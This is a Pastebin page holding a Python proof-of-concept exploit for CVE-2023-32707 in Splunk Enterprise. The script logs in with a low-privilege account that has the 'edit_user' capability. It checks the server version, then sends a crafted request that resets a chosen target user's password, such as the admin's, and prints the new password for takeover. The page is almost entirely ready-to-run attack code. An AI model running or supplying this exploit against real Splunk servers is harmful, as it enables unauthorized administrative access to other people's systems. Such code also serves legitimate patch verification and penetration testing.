Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- #
- # Exploit Title: Splunk 9.0.5 - admin account take over
- # Author: [Redway Security](https://twitter.com/redwaysec))
- # Discovery: [Santiago Lopez](https://twitter.com/santi_lopezz99)
- #CVE: CVE-2023-32707
- # Vendor Description: A low-privilege user who holds a role that has the `edit_user` capability assigned
- # to it can escalate their privileges to that of the admin user by providing specially crafted web requests.
- #
- # Versions Affected: Splunk Enterprise **below** 9.0.5, 8.2.11, and 8.1.14.
- #
- import argparse
- import requests
- import random
- import string
- import base64
- # ignore warnings
- import urllib3
- urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
- # Parse command-line arguments
- parser = argparse.ArgumentParser(description='Splunk Authentication')
- parser.add_argument('--host', required=True, help='Splunk host or IP address')
- parser.add_argument('--username', required=True, help='Splunk username')
- parser.add_argument('--password', required=True, help='Splunk password')
- parser.add_argument('--target-user', required=True, help='Target user')
- parser.add_argument('--force-exploit', action='store_true',
- help='Force exploit')
- args = parser.parse_args()
- # Splunk server settings
- splunk_host = args.host.split(':')[0]
- splunk_username = args.username
- splunk_password = args.password
- target_user = args.target_user
- force_exploit = args.force_exploit
- splunk_port = args.host.split(':')[1] if len(args.host.split(':')) > 1 else 8089
- user_endpoint = f"https://{splunk_host}:{splunk_port}/services/authentication/users"
- credentials = f"{splunk_username}:{splunk_password}"
- base64_credentials = base64.b64encode(credentials.encode()).decode()
- headers = {
- 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
- 'Authorization': f'Basic {base64_credentials}'
- }
- proxies = {
- # 'http': '[http://127.0.0.1:8080'](<a href=),">http://127.0.0.1:8080',
- # 'https': 'http://127.0.0.1:8080'
- }
- response = requests.get(f"{user_endpoint}/{splunk_username}?output_mode=json",
- headers=headers, proxies=proxies, verify=False)
- if response.status_code == 200:
- affected_versions = ['9.0.4', '8.2.10', '8.1.13']
- user = response.json()
- splunk_version = user['generator']['version']
- # This is not a good way to compare versions.
- # There is a range of versions that are affected by this CVE, but this is just a PoC
- # 8.1.0 to 8.1.13
- # 8.2.0 to 8.2.10
- # 9.0.0 to 9.0.4
- print(f"Detected Splunk version '{splunk_version}'")
- if any(splunk_version <= value for value in affected_versions) or force_exploit:
- user_capabilities = user['entry'][0]['content']['capabilities']
- if 'edit_user' in user_capabilities:
- print(
- f"User '{splunk_username}' has the 'edit_user' capability, which would make this target exploitable.")
- new_password = ''.join(random.choice(
- string.ascii_letters + string.digits) for _ in range(8))
- change_password_payload = {
- 'password': new_password,
- 'force-change-pass': 0,
- 'locked-out': 0
- }
- response = requests.post(f"{user_endpoint}/{target_user}?output_mode=json",
- data=change_password_payload, headers=headers, proxies=proxies, verify=False)
- if response.status_code == 200:
- print(
- f"Successfully taken over user '{target_user}', log into Splunk with the password '{new_password}'")
- else:
- print('Account takeover failed')
- else:
- print(
- f"User '{splunk_username}' does not have the 'edit_user' capability, which makes this target not exploitable by this user.")
- else:
- print(f"Splunk version '{splunk_version}' is not affected by CVE-2023-32707")
- else:
- print(
- f"Couldn't authenticate to Splunk server '{splunk_host}' with user '{splunk_username}' and password '{splunk_password}'")
- exit(1)
Add Comment
Please, Sign In to add comment